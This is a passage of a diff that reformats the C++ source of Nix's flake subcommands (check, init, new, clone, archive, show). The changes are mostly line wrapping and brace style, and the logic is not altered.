ANSI_NORMAL " follows input '%s'", + prefix + (last ? treeLast : treeConn), + input.first, printInputAttrPath(*follows)); } } @@ -353,8 +348,8 @@ struct CmdFlakeCheck : FlakeCommand std::string doc() override { return - #include "flake-check.md" - ; +#include "flake-check.md" + ; } void run(nix::ref store) override @@ -380,8 +375,7 @@ struct CmdFlakeCheck : FlakeCommand if (settings.keepGoing) { ignoreExceptionExceptInterrupt(); hasErrors = true; - } - else + } else throw; } }; @@ -390,16 +384,11 @@ struct CmdFlakeCheck : FlakeCommand // FIXME: rewrite to use EvalCache. - auto resolve = [&] (PosIdx p) { - return state->positions[p]; - }; + auto resolve = [&](PosIdx p) { return state->positions[p]; }; - auto argHasName = [&] (Symbol arg, std::string_view expected) { + auto argHasName = [&](Symbol arg, std::string_view expected) { std::string_view name = state->symbols[arg]; - return - name == expected - || name == "_" - || (hasPrefix(name, "_") && name.substr(1) == expected); + return name == expected || name == "_" || (hasPrefix(name, "_") && name.substr(1) == expected); }; auto checkSystemName = [&](std::string_view system, const PosIdx pos) { @@ -417,10 +406,10 @@ struct CmdFlakeCheck : FlakeCommand } }; - auto checkDerivation = [&](const std::string & attrPath, Value & v, const PosIdx pos) -> std::optional { + auto checkDerivation = + [&](const std::string & attrPath, Value & v, const PosIdx pos) -> std::optional { try { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking derivation %s", attrPath)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking derivation %s", attrPath)); auto packageInfo = getDerivation(*state, v, false); if (!packageInfo) throw Error("flake attribute '%s' is not a derivation", attrPath); @@ -428,9 +417,8 @@ struct CmdFlakeCheck : FlakeCommand // FIXME: check meta attributes auto storePath = packageInfo->queryDrvPath(); if (storePath) { - logger->log(lvlInfo, - fmt("derivation evaluated to %s", - store->printStorePath(storePath.value()))); + logger->log( + lvlInfo, fmt("derivation evaluated to %s", store->printStorePath(storePath.value()))); } return storePath; } @@ -486,14 +474,12 @@ struct CmdFlakeCheck : FlakeCommand auto checkOverlay = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking overlay '%s'", attrPath)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking overlay '%s'", attrPath)); state->forceValue(v, pos); if (!v.isLambda()) { throw Error("overlay is not a function, but %s instead", showType(v)); } - if (v.payload.lambda.fun->hasFormals() - || !argHasName(v.payload.lambda.fun->arg, "final")) + if (v.payload.lambda.fun->hasFormals() || !argHasName(v.payload.lambda.fun->arg, "final")) throw Error("overlay does not take an argument named 'final'"); // FIXME: if we have a 'nixpkgs' input, use it to // evaluate the overlay. @@ -505,8 +491,7 @@ struct CmdFlakeCheck : FlakeCommand auto checkModule = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking NixOS module '%s'", attrPath)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking NixOS module '%s'", attrPath)); state->forceValue(v, pos); } catch (Error & e) { e.addTrace(resolve(pos), HintFmt("while checking the NixOS module '%s'", attrPath)); @@ -518,8 +503,7 @@ struct CmdFlakeCheck : FlakeCommand checkHydraJobs = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking Hydra job '%s'", attrPath)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking Hydra job '%s'", attrPath)); state->forceAttrs(v, pos, ""); if (state->isDerivation(v)) @@ -529,8 +513,7 @@ struct CmdFlakeCheck : FlakeCommand state->forceAttrs(*attr.value, attr.pos, ""); auto attrPath2 = concatStrings(attrPath, ".", state->symbols[attr.name]); if (state->isDerivation(*attr.value)) { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking Hydra job '%s'", attrPath2)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking Hydra job '%s'", attrPath2)); checkDerivation(attrPath2, *attr.value, attr.pos); } else checkHydraJobs(attrPath2, *attr.value, attr.pos); @@ -544,8 +527,7 @@ struct CmdFlakeCheck : FlakeCommand auto checkNixOSConfiguration = [&](const std::string & attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking NixOS configuration '%s'", attrPath)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking NixOS configuration '%s'", attrPath)); Bindings & bindings(*state->allocBindings(0)); auto vToplevel = findAlongAttrPath(*state, "config.system.build.toplevel", bindings, v).first; state->forceValue(*vToplevel, pos); @@ -559,8 +541,7 @@ struct CmdFlakeCheck : FlakeCommand auto checkTemplate = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking template '%s'", attrPath)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking template '%s'", attrPath)); state->forceAttrs(v, pos, ""); @@ -593,8 +574,7 @@ struct CmdFlakeCheck : FlakeCommand auto checkBundler = [&](const std::string & attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking bundler '%s'", attrPath)); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking bundler '%s'", attrPath)); state->forceValue(v, pos); if (!v.isLambda()) throw Error("bundler must be a function"); @@ -611,227 +591,208 @@ struct CmdFlakeCheck : FlakeCommand auto vFlake = state->allocValue(); flake::callFlake(*state, flake, *vFlake); - enumerateOutputs(*state, - *vFlake, - [&](std::string_view name, Value & vOutput, const PosIdx pos) { - Activity act(*logger, lvlInfo, actUnknown, - fmt("checking flake output '%s'", name)); + enumerateOutputs(*state, *vFlake, [&](std::string_view name, Value & vOutput, const PosIdx pos) { + Activity act(*logger, lvlInfo, actUnknown, fmt("checking flake output '%s'", name)); - try { - evalSettings.enableImportFromDerivation.setDefault(name != "hydraJobs"); + try { + evalSettings.enableImportFromDerivation.setDefault(name != "hydraJobs"); - state->forceValue(vOutput, pos); + state->forceValue(vOutput, pos); - std::string_view replacement = - name == "defaultPackage" ? "packages..default" : - name == "defaultApp" ? "apps..default" : - name == "defaultTemplate" ? "templates.default" : - name == "defaultBundler" ? "bundlers..default" : - name == "overlay" ? "overlays.default" : - name == "devShell" ? "devShells..default" : - name == "nixosModule" ? "nixosModules.default" : - ""; - if (replacement != "") - warn("flake output attribute '%s' is deprecated; use '%s' instead", name, replacement); + std::string_view replacement = name == "defaultPackage" ? "packages..default" + : name == "defaultApp" ? "apps..default" + : name == "defaultTemplate" ? "templates.default" + : name == "defaultBundler" ? "bundlers..default" + : name == "overlay" ? "overlays.default" + : name == "devShell" ? "devShells..default" + : name == "nixosModule" ? "nixosModules.default" + : ""; + if (replacement != "") + warn("flake output attribute '%s' is deprecated; use '%s' instead", name, replacement); - if (name == "checks") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - std::string_view attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos)) { - state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs()) { - auto drvPath = checkDerivation( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); - if (drvPath && attr_name == settings.thisSystem.get()) { - auto path = DerivedPath::Built { - .drvPath = makeConstantStorePathRef(*drvPath), - .outputs = OutputsSpec::All { }, - }; - drvPaths.push_back(std::move(path)); - } + if (name == "checks") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + std::string_view attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) { + auto drvPath = checkDerivation( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, + attr2.pos); + if (drvPath && attr_name == settings.thisSystem.get()) { + auto path = DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(*drvPath), + .outputs = OutputsSpec::All{}, + }; + drvPaths.push_back(std::move(path)); } } } } - - else if (name == "formatter") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos)) { - checkDerivation( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); - }; - } - } - - else if (name == "packages" || name == "devShells") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos)) { - state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs()) - checkDerivation( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); - }; - } - } - - else if (name == "apps") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos)) { - state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs()) - checkApp( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); - }; - } - } - - else if (name == "defaultPackage" || name == "devShell") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos)) { - checkDerivation( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); - }; - } - } - - else if (name == "defaultApp") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos) ) { - checkApp( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); - }; - } - } - - else if (name == "legacyPackages") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - checkSystemName(state->symbols[attr.name], attr.pos); - checkSystemType(state->symbols[attr.name], attr.pos); - // FIXME: do getDerivations? - } - } - - else if (name == "overlay") - checkOverlay(name, vOutput, pos); - - else if (name == "overlays") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) - checkOverlay(fmt("%s.%s", name, state->symbols[attr.name]), - *attr.value, attr.pos); - } - - else if (name == "nixosModule") - checkModule(name, vOutput, pos); - - else if (name == "nixosModules") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) - checkModule(fmt("%s.%s", name, state->symbols[attr.name]), - *attr.value, attr.pos); - } - - else if (name == "nixosConfigurations") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) - checkNixOSConfiguration(fmt("%s.%s", name, state->symbols[attr.name]), - *attr.value, attr.pos); - } - - else if (name == "hydraJobs") - checkHydraJobs(name, vOutput, pos); - - else if (name == "defaultTemplate") - checkTemplate(name, vOutput, pos); - - else if (name == "templates") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) - checkTemplate(fmt("%s.%s", name, state->symbols[attr.name]), - *attr.value, attr.pos); - } - - else if (name == "defaultBundler") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos)) { - checkBundler( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); - }; - } - } - - else if (name == "bundlers") { - state->forceAttrs(vOutput, pos, ""); - for (auto & attr : *vOutput.attrs()) { - const auto & attr_name = state->symbols[attr.name]; - checkSystemName(attr_name, attr.pos); - if (checkSystemType(attr_name, attr.pos)) { - state->forceAttrs(*attr.value, attr.pos, ""); - for (auto & attr2 : *attr.value->attrs()) { - checkBundler( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); - } - }; - } - } - - else if ( - name == "lib" - || name == "darwinConfigurations" - || name == "darwinModules" - || name == "flakeModule" - || name == "flakeModules" - || name == "herculesCI" - || name == "homeConfigurations" - || name == "homeModule" - || name == "homeModules" - || name == "nixopsConfigurations" - ) - // Known but unchecked community attribute - ; - - else - warn("unknown flake output '%s'", name); - - } catch (Error & e) { - e.addTrace(resolve(pos), HintFmt("while checking flake output '%s'", name)); - reportError(e); } - }); + + else if (name == "formatter") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + const auto & attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + checkDerivation(fmt("%s.%s", name, attr_name), *attr.value, attr.pos); + }; + } + } + + else if (name == "packages" || name == "devShells") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + const auto & attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) + checkDerivation( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, + attr2.pos); + }; + } + } + + else if (name == "apps") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + const auto & attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) + checkApp( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, + attr2.pos); + }; + } + } + + else if (name == "defaultPackage" || name == "devShell") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + const auto & attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + checkDerivation(fmt("%s.%s", name, attr_name), *attr.value, attr.pos); + }; + } + } + + else if (name == "defaultApp") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + const auto & attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + checkApp(fmt("%s.%s", name, attr_name), *attr.value, attr.pos); + }; + } + } + + else if (name == "legacyPackages") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + checkSystemName(state->symbols[attr.name], attr.pos); + checkSystemType(state->symbols[attr.name], attr.pos); + // FIXME: do getDerivations? + } + } + + else if (name == "overlay") + checkOverlay(name, vOutput, pos); + + else if (name == "overlays") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) + checkOverlay(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); + } + + else if (name == "nixosModule") + checkModule(name, vOutput, pos); + + else if (name == "nixosModules") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) + checkModule(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); + } + + else if (name == "nixosConfigurations") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) + checkNixOSConfiguration( + fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); + } + + else if (name == "hydraJobs") + checkHydraJobs(name, vOutput, pos); + + else if (name == "defaultTemplate") + checkTemplate(name, vOutput, pos); + + else if (name == "templates") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) + checkTemplate(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); + } + + else if (name == "defaultBundler") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + const auto & attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + checkBundler(fmt("%s.%s", name, attr_name), *attr.value, attr.pos); + }; + } + } + + else if (name == "bundlers") { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + const auto & attr_name = state->symbols[attr.name]; + checkSystemName(attr_name, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) { + checkBundler( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, + attr2.pos); + } + }; + } + } + + else if ( + name == "lib" || name == "darwinConfigurations" || name == "darwinModules" + || name == "flakeModule" || name == "flakeModules" || name == "herculesCI" + || name == "homeConfigurations" || name == "homeModule" || name == "homeModules" + || name == "nixopsConfigurations") + // Known but unchecked community attribute + ; + + else + warn("unknown flake output '%s'", name); + + } catch (Error & e) { + e.addTrace(resolve(pos), HintFmt("while checking flake output '%s'", name)); + reportError(e); + } + }); } if (build && !drvPaths.empty()) { - Activity act(*logger, lvlInfo, actUnknown, - fmt("running %d flake checks", drvPaths.size())); + Activity act(*logger, lvlInfo, actUnknown, fmt("running %d flake checks", drvPaths.size())); store->buildPaths(drvPaths); } if (hasErrors) @@ -842,8 +803,7 @@ struct CmdFlakeCheck : FlakeCommand warn( "The check omitted these incompatible systems: %s\n" "Use '--all-systems' to check all.", - concatStringsSep(", ", omittedSystems) - ); + concatStringsSep(", ", omittedSystems)); }; }; }; @@ -856,7 +816,7 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand std::string templateUrl = "templates"; Path destDir; - const LockFlags lockFlags{ .writeLockFile = false }; + const LockFlags lockFlags{.writeLockFile = false}; CmdFlakeInitCommon() { @@ -884,11 +844,15 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand auto evalState = getEvalState(); - auto [templateFlakeRef, templateName] = parseFlakeRefWithFragment( - fetchSettings, templateUrl, fs::current_path().string()); + auto [templateFlakeRef, templateName] = + parseFlakeRefWithFragment(fetchSettings, templateUrl, fs::current_path().string()); - auto installable = InstallableFlake(nullptr, - evalState, std::move(templateFlakeRef), templateName, ExtendedOutputsSpec::Default(), + auto installable = InstallableFlake( + nullptr, + evalState, + std::move(templateFlakeRef), + templateName, + ExtendedOutputsSpec::Default(), defaultTemplateAttrPaths, defaultTemplateAttrPathsPrefixes, lockFlags); @@ -903,8 +867,7 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand std::vector conflictedFiles; std::function copyDir; - copyDir = [&](const SourcePath & from, const fs::path & to) - { + copyDir = [&](const SourcePath & from, const fs::path & to) { createDirs(to); for (auto & [name, entry] : from.readDirectory()) { @@ -920,7 +883,10 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand if (fs::exists(to_st)) { auto contents2 = readFile(to2.string()); if (contents != contents2) { - printError("refusing to overwrite existing file '%s'\n please merge it manually with '%s'", to2.string(), from2); + printError( + "refusing to overwrite existing file '%s'\n please merge it manually with '%s'", + to2.string(), + from2); conflictedFiles.push_back(to2); } else { notice("skipping identical file: %s", from2); @@ -928,22 +894,26 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand continue; } else writeFile(to2, contents); - } - else if (st.type == SourceAccessor::tSymlink) { + } else if (st.type == SourceAccessor::tSymlink) { auto target = from2.readLink(); if (fs::exists(to_st)) { if (fs::read_symlink(to2) != target) { - printError("refusing to overwrite existing file '%s'\n please merge it manually with '%s'", to2.string(), from2); + printError( + "refusing to overwrite existing file '%s'\n please merge it manually with '%s'", + to2.string(), + from2); conflictedFiles.push_back(to2); } else { notice("skipping identical file: %s", from2); } continue; } else - createSymlink(target, os_string_to_string(PathViewNG { to2 })); - } - else - throw Error("path '%s' needs to be a symlink, file, or directory but instead is a %s", from2, st.typeString()); + createSymlink(target, os_string_to_string(PathViewNG{to2})); + } else + throw Error( + "path '%s' needs to be a symlink, file, or directory but instead is a %s", + from2, + st.typeString()); changedFiles.push_back(to2); notice("wrote: %s", to2); } @@ -952,8 +922,9 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand copyDir(templateDir, flakeDir); if (!changedFiles.empty() && fs::exists(std::filesystem::path{flakeDir} / ".git")) { - Strings args = { "-C", flakeDir, "add", "--intent-to-add", "--force", "--" }; - for (auto & s : changedFiles) args.emplace_back(s.string()); + Strings args = {"-C", flakeDir, "add", "--intent-to-add", "--force", "--"}; + for (auto & s : changedFiles) + args.emplace_back(s.string()); runProgram("git", true, args); } @@ -977,8 +948,8 @@ struct CmdFlakeInit : CmdFlakeInitCommon std::string doc() override { return - #include "flake-init.md" - ; +#include "flake-init.md" + ; } CmdFlakeInit() @@ -997,17 +968,13 @@ struct CmdFlakeNew : CmdFlakeInitCommon std::string doc() override { return - #include "flake-new.md" - ; +#include "flake-new.md" + ; } CmdFlakeNew() { - expectArgs({ - .label = "dest-dir", - .handler = {&destDir}, - .completer = completePath - }); + expectArgs({.label = "dest-dir", .handler = {&destDir}, .completer = completePath}); } }; @@ -1023,8 +990,8 @@ struct CmdFlakeClone : FlakeCommand std::string doc() override { return - #include "flake-clone.md" - ; +#include "flake-clone.md" + ; } CmdFlakeClone() @@ -1069,8 +1036,8 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun std::string doc() override { return - #include "flake-archive.md" - ; +#include "flake-archive.md" + ; } void run(nix::ref store) override @@ -1085,17 +1052,14 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun // FIXME: use graph output, handle cycles. std::function traverse; - traverse = [&](const Node & node) - { + traverse = [&](const Node & node) { nlohmann::json jsonObj2 = json ? json::object() : nlohmann::json(nullptr); for (auto & [inputName, input] : node.inputs) { if (auto inputNode = std::get_if<0>(&input)) { std::optional storePath; if (!(*inputNode)->lockedRef.input.isRelative()) { - storePath = - dryRun - ? (*inputNode)->lockedRef.input.computeStorePath(*store) - : (*inputNode)->lockedRef.input.fetchToStore(store).first; + storePath = dryRun ? (*inputNode)->lockedRef.input.computeStorePath(*store) + : (*inputNode)->lockedRef.input.fetchToStore(store).first; sources.insert(*storePath); } if (json) { @@ -1154,8 +1118,8 @@ struct CmdFlakeShow : FlakeCommand, MixJSON std::string doc() override { return - #include "flake-show.md" - ; +#include "flake-show.md" + ; } void run(nix::ref store) override @@ -1166,10 +1130,8 @@ struct CmdFlakeShow : FlakeCommand, MixJSON auto flake = std::make_shared(lockFlake()); auto localSystem = std::string(settings.thisSystem.get()); - std::function &attrPath, - const Symbol &attr)> hasContent; + std::function & attrPath, const Symbol & attr)> + hasContent; // For frameworks it's important that structures are as lazy as possible // to prevent infinite recursions, performance issues and errors that @@ -1177,11 +1139,8 @@ struct CmdFlakeShow : FlakeCommand, MixJSON // to emit more attributes than strictly (sic) necessary. // However, these attributes with empty values are not useful to the user // so we omit them. - hasContent = [&]( - eval_cache::AttrCursor & visitor, - const std::vector &attrPath, - const Symbol &attr) -> bool - { + hasContent = + [&](eval_cache::AttrCursor & visitor, const std::vector & attrPath, const Symbol & attr) -> bool { auto attrPath2(attrPath); attrPath2.push_back(attr); auto attrPathS = state->symbols.resolve(attrPath2); @@ -1190,13 +1149,10 @@ struct CmdFlakeShow : FlakeCommand, MixJSON auto visitor2 = visitor.getAttr(attrName); try { - if ((attrPathS[0] == "apps" - || attrPathS[0] == "checks" - || attrPathS[0] == "devShells" - || attrPathS[0] == "legacyPackages" - || attrPathS[0] == "packages") + if ((attrPathS[0] == "apps" || attrPathS[0] == "checks" || attrPathS[0] == "devShells" + || attrPathS[0] == "legacyPackages" || attrPathS[0] == "packages") && (attrPathS.size() == 1 || attrPathS.size() == 2)) { - for (const auto &subAttr : visitor2->getAttrs()) { + for (const auto & subAttr : visitor2->getAttrs()) { if (hasContent(*visitor2, attrPath2, subAttr)) { return true; } @@ -1205,12 +1161,9 @@ struct CmdFlakeShow : FlakeCommand, MixJSON } if ((attrPathS.size() == 1) - && (attrPathS[0] == "formatter" - || attrPathS[0] == "nixosConfigurations" - || attrPathS[0] == "nixosModules" - || attrPathS[0] == "overlays" - )) { - for (const auto &subAttr : visitor2->getAttrs()) { + && (attrPathS[0] == "formatter" || attrPathS[0] == "nixosConfigurations" + || attrPathS[0] == "nixosModules" || attrPathS[0] == "overlays")) { + for (const auto & subAttr : visitor2->getAttrs()) { if (hasContent(*visitor2, attrPath2, subAttr)) { return true; } @@ -1232,29 +1185,25 @@ struct CmdFlakeShow : FlakeCommand, MixJSON eval_cache::AttrCursor & visitor, const std::vector & attrPath, const std::string & headerPrefix, - const std::string & nextPrefix)> visit; + const std::string & nextPrefix)> + visit; - visit = [&]( - eval_cache::AttrCursor & visitor, - const std::vector & attrPath, - const std::string & headerPrefix, - const std::string & nextPrefix) - -> nlohmann::json - { + visit = [&](eval_cache::AttrCursor & visitor, + const std::vector & attrPath, + const std::string & headerPrefix, + const std::string & nextPrefix) -> nlohmann::json { auto j = nlohmann::json::object(); auto attrPathS = state->symbols.resolve(attrPath); - Activity act(*logger, lvlInfo, actUnknown, - fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); + Activity act(*logger, lvlInfo, actUnknown, fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); try { - auto recurse = [&]() - { + auto recurse = [&]() { if (!json) logger->cout("%s", headerPrefix); std::vector attrs; - for (const auto &attr : visitor.getAttrs()) { + for (const auto & attr : visitor.getAttrs()) { if (hasContent(visitor, attrPath, attr)) attrs.push_back(attr); } @@ -1265,15 +1214,20 @@ struct CmdFlakeShow : FlakeCommand, MixJSON auto visitor2 = visitor.getAttr(attrName); auto attrPath2(attrPath); attrPath2.push_back(attr); - auto j2 = visit(*visitor2, attrPath2, - fmt(ANSI_GREEN "%s%s" ANSI_NORMAL ANSI_BOLD "%s" ANSI_NORMAL, nextPrefix, last ? treeLast : treeConn, attrName), + auto j2 = visit( + *visitor2, + attrPath2, + fmt(ANSI_GREEN "%s%s" ANSI_NORMAL ANSI_BOLD "%s" ANSI_NORMAL, + nextPrefix, + last ? treeLast : treeConn, + attrName), nextPrefix + (last ? treeNull : treeLine)); - if (json) j.emplace(attrName, std::move(j2)); + if (json) + j.emplace(attrName, std::move(j2)); } }; - auto showDerivation = [&]() - { + auto showDerivation = [&]() { auto name = visitor.getAttr(state->sName)->getString(); if (json) { @@ -1286,47 +1240,43 @@ struct CmdFlakeShow : FlakeCommand, MixJSON j.emplace("name", name); j.emplace("description", description ? *description : ""); } else { - logger->cout("%s: %s '%s'", + logger->cout( + "%s: %s '%s'", headerPrefix, - attrPath.size() == 2 && attrPathS[0] == "devShell" ? "development environment" : - attrPath.size() >= 2 && attrPathS[0] == "devShells" ? "development environment" : - attrPath.size() == 3 && attrPathS[0] == "checks" ? "derivation" : - attrPath.size() >= 1 && attrPathS[0] == "hydraJobs" ? "derivation" : - "package", + attrPath.size() == 2 && attrPathS[0] == "devShell" ? "development environment" + : attrPath.size() >= 2 && attrPathS[0] == "devShells" ? "development environment" + : attrPath.size() == 3 && attrPathS[0] == "checks" ? "derivation" + : attrPath.size() >= 1 && attrPathS[0] == "hydraJobs" ? "derivation" + : "package", name); } }; if (attrPath.size() == 0 - || (attrPath.size() == 1 && ( - attrPathS[0] == "defaultPackage" - || attrPathS[0] == "devShell" - || attrPathS[0] == "formatter" - || attrPathS[0] == "nixosConfigurations" - || attrPathS[0] == "nixosModules" - || attrPathS[0] == "defaultApp" - || attrPathS[0] == "templates" - || attrPathS[0] == "overlays")) + || (attrPath.size() == 1 + && (attrPathS[0] == "defaultPackage" || attrPathS[0] == "devShell" + || attrPathS[0] == "formatter" || attrPathS[0] == "nixosConfigurations" + || attrPathS[0] == "nixosModules" || attrPathS[0] == "defaultApp" + || attrPathS[0] == "templates" || attrPathS[0] == "overlays")) || ((attrPath.size() == 1 || attrPath.size() == 2) - && (attrPathS[0] == "checks" - || attrPathS[0] == "packages" - || attrPathS[0] == "devShells" - || attrPathS[0] == "apps")) - ) - { + && (attrPathS[0] == "checks" || attrPathS[0] == "packages" || attrPathS[0] == "devShells" + || attrPathS[0] == "apps"))) { recurse(); } else if ( - (attrPath.size() == 2 && (attrPathS[0] == "defaultPackage" || attrPathS[0] == "devShell" || attrPathS[0] == "formatter")) - || (attrPath.size() == 3 && (attrPathS[0] == "checks" || attrPathS[0] == "packages" || attrPathS[0] == "devShells")) - ) - { + (attrPath.size() == 2 + && (attrPathS[0] == "defaultPackage" || attrPathS[0] == "devShell" || attrPathS[0] == "formatter")) + || (attrPath.size() == 3 + && (attrPathS[0] == "checks" || attrPathS[0] == "packages" || attrPathS[0] == "devShells"))) { if (!showAllSystems && std::string(attrPathS[1]) != localSystem) { if (!json) - logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); + logger->cout( + fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", + headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); + logger->warn( + fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); } } else { try { @@ -1336,9 +1286,13 @@ struct CmdFlakeShow : FlakeCommand, MixJSON throw Error("expected a derivation"); } catch (IFDError & e) { if (!json) { - logger->cout(fmt("%s " ANSI_WARNING "omitted due to use of import from derivation" ANSI_NORMAL, headerPrefix)); + logger->cout( + fmt("%s " ANSI_WARNING "omitted due to use of import from derivation" ANSI_NORMAL, + headerPrefix)); } else { - logger->warn(fmt("%s omitted due to use of import from derivation", concatStringsSep(".", attrPathS))); + logger->warn( + fmt("%s omitted due to use of import from derivation", + concatStringsSep(".", attrPathS))); } } } @@ -1352,9 +1306,12 @@ struct CmdFlakeShow : FlakeCommand, MixJSON recurse(); } catch (IFDError & e) { if 